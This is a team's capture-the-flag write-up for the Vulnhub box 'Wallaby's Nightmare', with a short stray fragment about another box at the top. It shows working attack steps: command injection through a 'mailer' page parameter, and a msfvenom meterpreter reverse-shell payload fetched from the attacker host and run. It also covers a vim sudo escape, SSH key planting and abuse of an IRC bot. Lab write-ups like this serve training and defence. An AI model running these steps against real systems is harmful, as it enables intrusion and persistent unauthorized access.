A CTF box themed around Rick and Morty. We did this individually, and compared notes afterward.
Vulnhub link: https://www.vulnhub.com/entry/rickdiculouslyeasy-1,207/
- File in root’s home
a CTF box we did as a team
Vulnhub link: https://www.vulnhub.com/entry/wallabys-nightmare-v102,176/
ssh, http, ?
When we ran dirb against http, it noticed we were there (iptables rules to watch rapid scan traffic) and it moved the web server to port 60080 instead of 80. After that, it did not move again.
We found there was a commented out link to a php page that would supposedly try to mail the admin with information. Looking at the source of the HTML it showed that he was insecurely running the ‘mail’ command itself in the POST data, so we switched it out for some new arbitrary commands and could get it to pull down a payload. We first noticed the ‘waldo’ user could run run against a specific apache config file using sudo, which told us we could also break out of vim for further access.
The payload we prepared was a reverse tunnel to allow us shell access onto the box using meterpreter. Once that was up and running we added our local ssh pubkey to a new authorized_keys file, and could then SSH into the box as the ‘waldo’ user, giving us a real TTY. The description/hints/notes about the box suggested we check tmux, which indeed did have a detached session running.
The tmux session was running an ‘irssi’ IRC client, and was already connected to a server. Doing a simple channel list showed a number of pretty boring channels, but one stood out as it was named after the box itself. When connecting to it, a bot auto-joined and let us run some commands through it, including .help to get info.
A command in the bot allowed us to .run commands, and it would process them on the system itself, as the ‘wallaby’ user. It used a python library to run them though, and would only parse literaly commands – and would not allow us to pass any arguments. It had a limited set of directories in the included $PATH, but we found that (to no real surprise) we could run any command as long as we gave it the whole path.
Back as the waldo user we created a script that would copy the authorized_keys file from waldo’s .ssh directory into wallaby’s so we could also gain access to that user with ssh.
After logging into wallaby, we found we had full password-less sudo to root.
Author Blurb This is my first boot2root machine. It’s beginner-intermediate level. It’s been tested in VBox and VMware and seems to work without issues in both. A tip, anything can be a vector, really think things through here based on how the machine works. Make a wrong move though and some stuff gets moved around and makes the machine more difficult! This is part one in a two part series. I was inspired by several vms I found on vulnhub and added a bit of a twist to the machine. Good luck and I hope you guys enjoy! This is my first CTF/Vulnerable VM ever. I created it both for educational purposes and so people can have a little fun testing their skills in a legal, pentest lab environment. Some notes before you download! Try to use a Host-Only Adapter. This is an intentionally vulnerable machine and leaving it open on your network can have bad results. It should work with Vmware flawlessly. I’ve tested it with vbox and had one other friend test it on Vbox as well so I think it should work just fine on anything else. This is a Boot2Root machine. The goal is for you to attempt to attempt to gain root privileges in the VM. Do not try to get the root flag through a recovery iso etc, this is essentially cheating! The idea is to get through by pretending this machine is being attacked over a network with no physical access. I themed this machine to make it feel a bit more realistic. You are breaking into a fictional characters server (named Wallaby) and trying to gain root without him noticing, or else the difficulty level will increase if you make the wrong move! Good luck and I hope you guys enjoy! Changelog v1.0 - 2016-12-22 - First Release. v1.0.1 - 2016-12-29 - VM was made harder with various fixes. v1.0.2 - 2016-12-30 - Removed a left over temp file that could be used as a shortcut.
Pre-Game Once again, we all created host entries, this time for wallaby and target. You’ll see the, used interchangeably during this post, and also see the IP change in output, but we are all just targeting the same vulnerable VM with slightly different isolated networks.
This CTF mentions the increase in difficulty if you are detected, so we also took a snapshot before starting so that we would have the option to revert and try again if we made things get too difficult. Both of these are just simple “best practice” things we do to make the process easy and fun.
Enumeration Again, the first step is enumeration.
NMAP Let’s get into it with nmap:
msf5 > db_nmap -sV -O -A -T5 -Pn -p- target  Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-01 14:20 EDT  Nmap: Nmap scan report for target (192.168.167.133)  Nmap: Host is up (0.0013s latency).  Nmap: Not shown: 65532 closed ports  Nmap: PORT STATE SERVICE VERSION  Nmap: 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)  Nmap: | ssh-hostkey:  Nmap: | 2048 6e:07:fc:70:20:98:f8:46:e4:8d:2e:ca:39:22:c7:be (RSA)  Nmap: | 256 99:46:05:e7:c2:ba:ce:06:c4:47:c8:4f:9f:58:4c:86 (ECDSA)  Nmap: |_ 256 4c:87:71:4f:af:1b:7c:35:49:ba:58:26:c1:df:b8:4f (ED25519)  Nmap: 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))  Nmap: |_http-server-header: Apache/2.4.18 (Ubuntu)  Nmap: |_http-title: Wallaby’s Server  Nmap: 6667/tcp filtered irc  Nmap: MAC Address: 00:0C:29:41:F1:35 (VMware)  Nmap: Device type: general purpose  Nmap: Running: Linux 3.X|4.X  Nmap: OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4  Nmap: OS details: Linux 3.2 - 4.9  Nmap: Network Distance: 1 hop  Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  Nmap: TRACEROUTE  Nmap: HOP RTT ADDRESS  Nmap: 1 1.29 ms target (192.168.167.133)  Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  Nmap: Nmap done: 1 IP address (1 host up) scanned in 11.83 seconds msf5 > hosts Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ——- — —- ——- ——— —– ——- —- ——– 192.168.167.133 00:0c:29:41:f1:35 target Linux 3.X server msf5 > services Services ======== host port proto name state info —- —- —– —- —– —- 192.168.167.133 22 tcp ssh open OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 Ubuntu Linux; protocol 2.0 192.168.167.133 80 tcp http open Apache httpd 2.4.18 (Ubuntu) 192.168.167.133 6667 tcp irc filtered
HTTP Since there’s only two services that are fully open (HTTP and SSH), we started with HTTP to try and get a foothold.
Nikto A nikto scan quickly caused port 80 to be closed!
root@kali:~# nikto -host target
- Target IP: 192.168.167.133
- Target Hostname: target
- Target Port: 80
Start Time: 2019-05-01 20:09:16 (GMT-4)
- Server: Apache/2.4.18 (Ubuntu)
- The anti-clickjacking X-Frame-Options header is not present.
- The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
- The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
- No CGI Directories found (use ‘-C all’ to force check all possible dirs)
- Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
- Web Server returns a valid response with junk HTTP methods, this may cause false positives.
- /index.php?page=../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php)
- ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can’t connect (timeout): Transport endpoint is not connected
- Scan terminated: 20 error(s) and 6 item(s) reported on remote host
End Time: 2019-05-01 20:09:21 (GMT-4) (5 seconds)
In further exploration, we would eventually figure out that it was this request that caused the port to close:
- /index.php?page=../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php) The blurb mentions that the machine becomes more difficult if you make a misstep. I think that’s debatable, but we will get to the details shortly. For now, let’s continue enumeration.
Manual We started doing more manual exploration, beginning with a revisit to the source of ‘/’. The following script and title is all over the place and is snipped out of later examples in this post.
Enter a username to get started with this CTF!
<form name="nickname" action="" method="post"> </form> The next thing I decided to do was to click through, and see what we could find.
Your username for this ctf is ctlfish click here to change your username: Welcome to the Wallaby’s Worst Knightmare 2 part series VM. A few tips.
- Fuzzing is your friend.
- Tmux can be useful for many things.
- Your environment matters. Good luck and have fun! -Waldo Start the CTF! So now I did the obvious thing and clicked “Start the CTF!”
What the heck is this? Some guy named ctlfish is trying to penetrate my server? Loser must not know I’m the great Wallaby! Let’s observe him for now, maybe I could learn about him from his behavior. We took a look at the source, and it’s very similar to the landing page.
What the heck is this? Some guy named ctlfish is trying to penetrate my server? Loser must not know I'm the great Wallaby!
Let's observe him for now, maybe I could learn about him from his behavior.
We grabbed the image and “Giuseppe” and “SteveyDevey” examined it with strings and tried some brute force attacks with steghide, but it turned out to be a dead end.
I continued manually exploring via the form, and started to see some interesting things. When I tried a local file inclusion to grab /etc/passwd, I got a snarky response from wallaby.
root@kali:~/src/wallaby# curl http://wallaby/?page=../../../etc/passwd … root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false uuidd:x:107:111::/run/uuidd:/bin/false walfin:x:1000:1000:walfin,,,:/home/walfin:/bin/bash sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin mysql:x:109:117:MySQL Server,,,:/nonexistent:/bin/false steven?:x:1001:1001::/home/steven?:/bin/bash ircd:x:1003:1003:,,,:/home/ircd:/bin/bash root@kali:~/src/wallaby# We also tried a different file inclusion, with a URL we discovered via dirb, and got a different snarky message, which also changed the behavior of the machine!
root@kali:~/src/wallaby# curl target/?page=.git/config …
That's some fishy stuff you're trying there buddy. You must think Wallaby codes like a monkey! I better get to securing this SQLi though...
<br />(Wallaby caught you trying an LFI, you gotta be sneakier! Difficulty level has increased.) root@kali:~/src/wallaby# After this response, port 80 stopped responding. "Matato" enumerated with nmap again, and discovered that apache had moved to port 60080. Remember how scanning with nikto caused port 80 to close? It was a similar query. "Matato" reverted a couple times and confirmed the cause.
Triggered LFI alert (using ‘/’ in ?path= triggers if it doesn’t contain /etc/passwd) curl “http://wallaby/?page=/admin”
Here’s the new nmap output after triggering the change
msf5 > db_nmap -sV -O -A -T3 -p- wallaby  Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-01 22:08 EDT  Nmap: Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan  Nmap: Service scan Timing: About 50.00% done; ETC: 22:09 (0:00:11 remaining)  Nmap: Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan  Nmap: Service scan Timing: About 100.00% done; ETC: 22:08 (0:00:00 remaining)  Nmap: Nmap scan report for wallaby (192.168.56.105)  Nmap: Host is up (0.0011s latency).  Nmap: Not shown: 65532 closed ports  Nmap: PORT STATE SERVICE VERSION  Nmap: 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)  Nmap: | ssh-hostkey:  Nmap: | 2048 6e:07:fc:70:20:98:f8:46:e4:8d:2e:ca:39:22:c7:be (RSA)  Nmap: | 256 99:46:05:e7:c2:ba:ce:06:c4:47:c8:4f:9f:58:4c:86 (ECDSA)  Nmap: |_ 256 4c:87:71:4f:af:1b:7c:35:49:ba:58:26:c1:df:b8:4f (ED25519)  Nmap: 6667/tcp filtered irc  Nmap: 60080/tcp open http Apache httpd 2.4.18 ((Ubuntu))  Nmap: |_http-server-header: Apache/2.4.18 (Ubuntu)  Nmap: |_http-title: Wallaby’s Server  Nmap: MAC Address: 08:00:27:ED:DF:AC (Oracle VirtualBox virtual NIC)  Nmap: Device type: general purpose  Nmap: Running: Linux 3.X|4.X  Nmap: OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4  Nmap: OS details: Linux 3.2 - 4.9  Nmap: Network Distance: 1 hop  Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  Nmap: TRACEROUTE  Nmap: HOP RTT ADDRESS  Nmap: 1 1.13 ms wallaby (192.168.56.105)  Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  Nmap: Nmap done: 1 IP address (1 host up) scanned in 18.54 seconds Fuzzing We did some fuzzing with wfuzz, and started to see some patterns in the output. By now, we were working the script directly, a php router, and knew what happens when we try a LFI. I saw a pattern in wfuzz and removed the slew of results that had the same number of words, and this got a list of URLs that actually did something unique.
|wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt –hc 404 target/?page=FUZZ||grep -v 891|
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz’s documentation for more information.
- Wfuzz 2.3.4 - The Web Fuzzer * ********************
Target: http://target/?page=FUZZ Total requests: 950
================================================================== ID Response Lines Word Chars Payload ==================================================================
000224: C=200 26 L 86 W 895 Ch “contact” 000415: C=200 29 L 122 W 1179 Ch “home” 000438: C=200 30 L 104 W 1053 Ch “index”
Total time: 2.737638 Processed Requests: 950 Filtered Requests: 0 Requests/sec.: 347.0143 We started to examine these more closely, and although triggering the LFI response moves the apache instance, once that happens you can just hammer it without any additional consequence, so that’s what “Matato” did.
First, there’s a telling change in the generic response once apache moves to 60080
HOLY MOLY, this guy wants me...Glad I moved to a different port so I could work more securely!!!
<p style="text-align:center;">As we all know, security by obscurity is the way to go…
</p> Around this time, everybody was racing with their favorite fuzzer to figure out what vectors were available. “Matato” dropped a list of pages in our notes, which included the “mailer” page.
dirb http://wallaby:60080/?page= /usr/share/dirb/wordlists/big.txt
DIRB v2.22 By The Dark Raver —————–
START_TIME: Wed May 1 22:14:23 2019 URL_BASE: http://wallaby:60080/?page= WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
GENERATED WORDS: 20458
—- Scanning URL: http://wallaby:60080/?page= —-
http://wallaby:60080/?page=blacklist (CODE:200 SIZE:986)
http://wallaby:60080/?page=cgi-bin/ (CODE:200 SIZE:892)
http://wallaby:60080/?page=contact (CODE:200 SIZE:895)
http://wallaby:60080/?page=home (CODE:200 SIZE:1139)
http://wallaby:60080/?page=index (CODE:200 SIZE:1053)
http://wallaby:60080/?page=mailer (CODE:200 SIZE:1077)
With some manual inspection of the mailer page, I found our entry point
root@kali:~/wallaby# curl ‘http://wallaby/?page=mailer&mail=id’ … uid=33(www-data) gid=33(www-data) groups=33(www-data)
Coming Soon guys!
We have remote command execution!
root@kali:~/wallaby# curl ‘http://wallaby/?page=mailer&mail=ls%20-R’ … .: eye.jpg index.php levelone.txt s13!34g$3FVA5e@ed sec.png ./s13!34g$3FVA5e@ed: althome.php blacklist.php contact.php first_visit.php home.php honeypot.php index.php mailer.php welcome.php … We tinkered with this manually to explore things, getting a list of running processes and so on. It didn’t take long for that to become tedious, so we whipped up a trivial Python script to make things easier.
root@kali:~/wallaby# cat ~/src/wallaby/pcurl.py #!/usr/bin/env python3
import argparse import urllib.parse import requests
parser = argparse.ArgumentParser() parser.add_argument(“–command”, “-c”, help=”command to encode in URL-friendly format”) parser.add_argument(“–sendit”, “-s”, help=”send the request”, action=’store_true’)
args = parser.parse_args()
html_form_value = urllib.parse.quote_plus(args.command)
if args.sendit: baseurl = ‘http://wallaby/?page=mailer&mail=’ url = baseurl + html_form_value r = requests.get(url) print(r.text, “\n”, r.status_code) else: print(html_form_value) Getting a Foothold Now we have a vector for attack, and we need to get a more firm foothold as the www-data user. First we tried to attack PHP, because it’s PHP, and appeared to be an older version, and possibly misconfigured. We didn’t make much progress though, even though it was now very easy to run commands against the box.
root@kali:~/wallaby# ~/src/wallaby/pcurl.py -s -c ‘ls -lR’ … .: total 544 -rw-r–r– 1 root root 15953 Aug 11 2015 eye.jpg -rw-r–r– 1 root root 3639 Dec 27 2016 index.php -rw-r–r– 1 root root 0 Dec 27 2016 levelone.txt drwxr-xr-x 2 root root 4096 Dec 27 2016 s13!34g$3FVA5e@ed -rw-r–r– 1 root root 57626 Dec 27 2016 sec.png ./s13!34g$3FVA5e@ed: total 36 -rw-r–r– 1 root root 339 Dec 27 2016 althome.php -rw-r–r– 1 root root 698 Dec 27 2016 blacklist.php -rw-r–r– 1 root root 78 Dec 16 2016 contact.php -rw-r–r– 1 root root 371 Dec 16 2016 first_visit.php -rw-r–r– 1 root root 379 Dec 16 2016 home.php -rw-r–r– 1 root root 1350 Dec 27 2016 honeypot.php -rw-r–r– 1 root root 213 Dec 15 2016 index.php -rw-r–r– 1 root root 461 Dec 16 2016 mailer.php -rw-r–r– 1 root root 667 Dec 16 2016 welcome.php
Coming Soon guys!
200 root@kali:~/wallaby# Getting a Meterpreter Shell It was time to stop messing around and get into this thing, so here’s a step by step of how to get a meterpreter shell on this box as the www-data user.
First we make a payload msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.167.130 LPORT=4444 -f elf -e x86/shikata_ga_nai -a x86 –platform linux -o revshell There’s a lot going on there; what, exactly, is this command?
-p specifies the payload we are making a linux, x86 payload for a meterpreter reverse shell over tcp
LHOST, LPORT are variables for this payload (and standard for all metasploit) LHOST is the listen host LPORT is the listen port (atack box).
-f format is elf (linux binary)
-e encoder is x86/shikata_ga_nai - I believe it is the best choice for an encoder unless you have a good reason to use a different one or know more about encoders than me (not hard!)
“SteveyDevey” is multi-lingual, and passionate about languages; he pointed out that “Shikata ga nai” means “it can’t be helped” in Japanese and is a commonly used to describe acceptance in the wake of things that are uncontrollable or unavoidable https://en.wikipedia.org/wiki/Shikata_ga_nai
-a arch is x86 (target)
–platform is linux (target)
Drop the Payload on the Target After creating a payload, from the directory where your payload is, run
python3 -m http.server 8000 &
Next, fetch the payload from yourself, and chmod it to make executable.
~/src/wallaby/pcurl.py -s -c ‘wget 192.168.167.130:8000/revshell’ ~/src/wallaby/pcurl.py -s -c ‘chmod a+x revshell’ Start a local handler For the next step, we use the exploit/multi/handler module. It is crucial to set the payload options to match exactly what was generated with msfvenom. Then simply run via run or exploit
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf5 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description —- ————— ——– ———–
Payload options (linux/x86/meterpreter/reverse_tcp): 6 Name Current Setting Required Description —- ————— ——– ———– LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Id Name – —- 0 Wildcard Target
msf5 exploit(multi/handler) > set LHOST 192.168.167.130 LHOST => 192.168.167.130 msf5 exploit(multi/handler) > run Call the exploit and watch your meterpreter shell In another terminal, run the following command to remotely execute our staged payload.
root@kali:~/wallaby# ~/src/wallaby/pcurl.py -s -c ‘./revshell’ Back in msfconsole, we see the target connect to our handler.
msf5 exploit(multi/handler) > run  Started reverse TCP handler on 192.168.167.130:4444  Sending stage (985320 bytes) to 192.168.167.133 [*] Meterpreter session 1 opened (192.168.167.130:4444 -> 192.168.167.133:47150) at 2019-05-02 09:15:32 -0400
meterpreter > getuid Server username: uid=33, gid=33, euid=33, egid=33 meterpreter > Congratulations! You’ve got a meterpreter shell! :D
Escalating Privileges Now that we’ve got a meterpreter shell as the www-data user, we were able to do some exploring. We downloaded php files for examination, and checked out what sudo commands were available to the www-data user.
meterpreter > channel -i 2 Interacting with channel 2…
whoami www-data sudo -l Matching Defaults entries for www-data on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User www-data may run the following commands on ubuntu: (waldo) NOPASSWD: /usr/bin/vim /etc/apache2/sites-available/000-default.conf (ALL) NOPASSWD: /sbin/iptables This shows us how to become the user waldo with a vim escape from a www-data shell.
Becoming waldo, another user with better access With the information we just gathered, as www-data, we run the following command sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf
Once vim, opens we escape to a shell by hitting Esc, followed by:
Now we are waldo, as we can see in the following commands
whoami waldo id uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare) We still have a terrible shell though, because shell -t as the www-data user failed from meterpreter (and we had to fallback to just shell); this is because www-data user is not allowed to have a tty. Now that we have access as the user waldo, let’s get a tty.
Getting a Real Terminal To do this, we make the .ssh directory in waldo’s home, echo out an ssh pubkey to the ~waldo/.ssh/authorized_keys and chown it 600. Now we can simply ssh as waldo.
root@kali:~# ssh waldo@wallaby Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-31-generic x86_64)
- Documentation: https://help.ubuntu.com
- Management: https://landscape.canonical.com
- Support: https://ubuntu.com/advantage Last login: Thu May 2 18:11:36 2019 from 192.168.167.130 waldo@ubuntu:~$ What Can Waldo Do? While doing our initial exploration, remember how we found some tips?
Welcome to the Wallaby’s Worst Knightmare 2 part series VM. A few tips.
- Fuzzing is your friend.
- Tmux can be useful for many things.
- Your environment matters. Good luck and have fun! -Waldo Start the CTF! The tips for this CTF included a hint about tmux being useful. Once we become waldo, it’s easy to see what he is running, since there is a script for running irssi in waldo’s home directory. That script starts irssi in a tmux session.
waldo@ubuntu:~$ cat irssi.sh #!/bin/bash tmux new-session -d -s irssi tmux send-keys -t irssi ‘n’ Enter tmux send-keys -t irssi ‘irssi’ Enter Running tmux list-sessions shows only the single session named irssi, so we attached to it and started to explore.
How do I irssi? We spent some time remembering how to use irssi. I haven’t run it for years, even though it used to be a daily driver. Eventually we remembered how to list windows, and found #wallabyschat.
18:06 -!- waldo [waldo@wallaby-DCED2AAD] has joined #wallabyschat 18:06 [Users #wallabyschat] 18:06 [@waldo] 18:06 -!- Irssi: #wallabyschat: Total of 1 nicks [1 ops, 0 halfops, 0 voices, 0 normal] 18:06 -!- Channel #wallabyschat created Wed May 1 18:06:18 2019 18:06 -!- Irssi: Join to #wallabyschat was synced in 7 secs 18:06 -!- wallabysbot [sopel@wallaby-DCED2AAD] has joined #wallabyschat “SteveyDevey” noticed the join message for wallabysbot. We played around with the bot and found the .run command, which failed on anything other than single arg invocations, but also runs those things as wallaby, which we confirmed by running id.
“Matato” did some excellent research on the module, first by exploring the system and finding the module (which is custom, and located in wallaby’s home directory), and then digging through the sopel source to understand the stuff the module inherited via decorators.
So, after digging a bit with irssi, wallaby’s .run custom sopel module will only accept a single arg. This is because trigger.group(2) is the a python regex object match.group that’s part of the sopel framework, which defines trigger.group(2) as “anything after the command” (as in the command to the bot). So our module won’t accept any sort of command with multiple args, because the string in trigger.group(2) is passed to this simple module, which uses the old ‘%s’ style of python string formatting when it, in turn, calls os.system() and also subprocess.Popen(), which both need tokenization of args, not just a raw string. We tried faking the format of our commands in the format expected, but that didn’t work. We took a break because it was late and we all had real life stuff to do the next day.
waldo@ubuntu:/home/wallaby/.sopel/modules$ cat run.py import sopel.module, subprocess, os from sopel.module import example
@sopel.module.commands(‘run’) @example(‘.run ls’) def run(bot, trigger): if trigger.owner: os.system(‘%s’ % trigger.group(2)) runas1 = subprocess.Popen(‘%s’ % trigger.group(2), stdout=subprocess.PIPE).communicate() runas = str(runas1) bot.say(‘ ‘.join(runas.split(‘\n’))) else: bot.say(‘Hold on, you aren't Waldo?’) I was thinking about this before bed, and thought we might be overthinking it. What about a much simpler solution? I dropped this idea in our shared notes.
Maybe we can create a shell script in a location Waldo can access, make it 777 and then run it as wallaby with the single arg bot invocation of .run as waldo? In the morning,”Matato” lit up our chat after he ran with the idea to create a script and run it as the single arg to .run so that waldo can execute code as wallaby.
Here’s my script. “Matato”, independently did the nearly the exact same thing; he beat me in the keyboard race. :)
waldo@ubuntu:~$ cat test #!/bin/bash sudo -l mkdir /home/wallaby/.ssh echo “ssh-rsa AAAAB3NzaC1yc2NNNICETRYMORTY9a42+m7rFv root@kali” » /home/wallaby/.ssh/authorized_keys chmod 600 /home/wallaby/.ssh/authorized_keys I thought we might need to put this in a neutral place like /var/www/html or something, but because the permissions on home are 755 instead of 700, we can just run this from waldo’s home!
22:03 < waldo> .run /home/waldo/test 22:03 < wallabysbot> b’Matching Defaults entries for wallaby on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User wallaby may run the following commands on ubuntu: (ALL) NOPASSWD: ALL ‘ This appended our key do wallaby’s home, so now we just ssh as wallaby and sudo su -!
Flag root@kali:~# ssh wallaby@wallaby Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-31-generic x86_64)
- Documentation: https://help.ubuntu.com
- Management: https://landscape.canonical.com
- Support: https://ubuntu.com/advantage Last login: Fri May 3 12:43:17 2019 from 192.168.167.130 wallaby@ubuntu:~$ sudo su - root@ubuntu:~# ls -l total 12 drwxr-xr-x 2 root root 4096 Dec 27 2016 backups -rwxr-xr-x 1 root root 510 Dec 27 2016 check_level.sh -rw-r–r– 1 root root 342 Dec 16 2016 flag.txt root@ubuntu:~# cat flag.txt ###CONGRATULATIONS###
You beat part 1 of 2 in the “Wallaby’s Worst Knightmare” series of vms!!!!
This was my first vulnerable machine/CTF ever! I hope you guys enjoyed playing it as much as I enjoyed making it!
Come to IRC and contact me if you find any errors or interesting ways to root, I’d love to hear about it.
Thanks guys! -Waldo root@ubuntu:~# Recap This box is exploitable through a series of flaws, some big, some small.
PHP exploit via poorly written page which includes an tainted system() call sudo misconfiguration that allows the www-data user to run vim as waldo, and escape to a shell irssi bot weakness allows user waldo to run commands as wallaby bad permissions on user dirs in home (755 instead of 700) another sudo misconfiguration that allows wallaby to run anything without a password These flaws together are bigger than the sum of their parts. This box was a lot of fun for us and a great reminder why adhering to some classic UNIX/Linux best practices is important. Here’s some key takeaways for when you are on the blue team:
Don’t trust input - treat all user data as tainted. It should only execute prepared statements. Weak permissions are dangerous Configure sudo with great caution; a misconfiguration has terrible consequences
CAST Team Voltron
Jay Matato SteveyDevey Chris